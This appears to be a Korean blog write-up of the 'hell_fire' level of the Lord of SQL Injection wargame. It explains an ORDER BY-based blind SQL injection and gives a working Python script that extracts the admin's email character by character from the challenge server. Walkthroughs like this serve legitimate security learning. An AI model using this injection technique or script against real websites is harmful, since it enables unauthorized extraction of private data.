728x90
이번에 처치할 몬스터는 hell_fire!
코드를 봐보면
위에 처음 보이는 테이블이 나와있고 union은 막혀있다.
이 문제는 admin의 email값을 알아내는 문제 같다.
또한, order를 인자로 받고 있는데 여기서 order by란 데이터들을 출력할 때 어떻게 정렬할지 정하는 문법이다.
예를 들어
order by id를 하면 id를 기준으로 내림차순으로 정렬된다.
order by score를 하면 score를 기준으로 내림차순으로 정렬된다.
이처럼 서로 다른 결과를 보여주는 테이블이 있으니 이를 이용하여 blind sql injection을 하면 될 것 같다.
if문을 이용하여 if(조건문, 'id', 'score') 형식으로 참일 때는 id를 기준으로 거짓일 때는 score를 기준으로 정렬되게 만들었다.
이를 이용하여 코드를 짜주면 (id와 score에 싱글쿼터(')를 쓰는 걸 잊지 않았으면 좋겠다. 이것 때문에 3시간 동안 헤맸다...)
import requests
url="https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php"
cookies={"PHPSESSID":"kogf8srvhks2phbp9kdndnk5ar"}
string="0123456789abcdefghijklmnopqrstuvwxyz@_.#$%^&*-"
pw=""
length=0
for i in range(1,100): #길이구하기
pay=f"?order=if(id='admin' and length(email)={i},'id','score')"
res=requests.get(url+pay,cookies=cookies)
if "<td>200</td></tr><tr><td>rubiya</td>" in res.text: #테이블 출력 순서를 조건
length=i
print("length:",i)
break
print(length)
for i in range(1,length+1): #pw구하기
for j in string:
pay=f"?order=if(id=%27admin%27%20and%20substr(email,{i},1)='{j}','id','score')"
res=requests.get(url+pay,cookies=cookies)
if "<td>200</td></tr><tr><td>rubiya</td>" in res.text:
pw+=j
print("pw:",pw)
break
print("password:",pw)
이처럼 email을 찾을 수 있는데 이를 입력해 보니 문제가 풀리지 않았다.
그래서 뭐가 문젠지 봤더니...
보통 email형식이라 하면 .com일 텐데 이 email에는 .이 없다.
그래서 16진수로 출력 후 ascii코드로 변환해 봤더니
역시 특수문자가 출력되지 않았던 것이다.
email인자에 입력하면
굿굿~
다음 몬스터 잡으러 가자~!
728x90
'Web > Lord of SQL Injection' 카테고리의 다른 글
Lord of SQL Injection 25단계 (green dragon) (0) | 2023.04.14 |
---|---|
Lord of SQL Injection 24단계 (evil wizard) (0) | 2023.04.12 |
Lord of SQL Injection 22단계 (dark_eyes) (0) | 2023.04.10 |
Lord of SQL Injection 21단계 (iron golem) (0) | 2023.04.05 |
Lord of SQL Injection 20단계 (dragon) (0) | 2023.03.31 |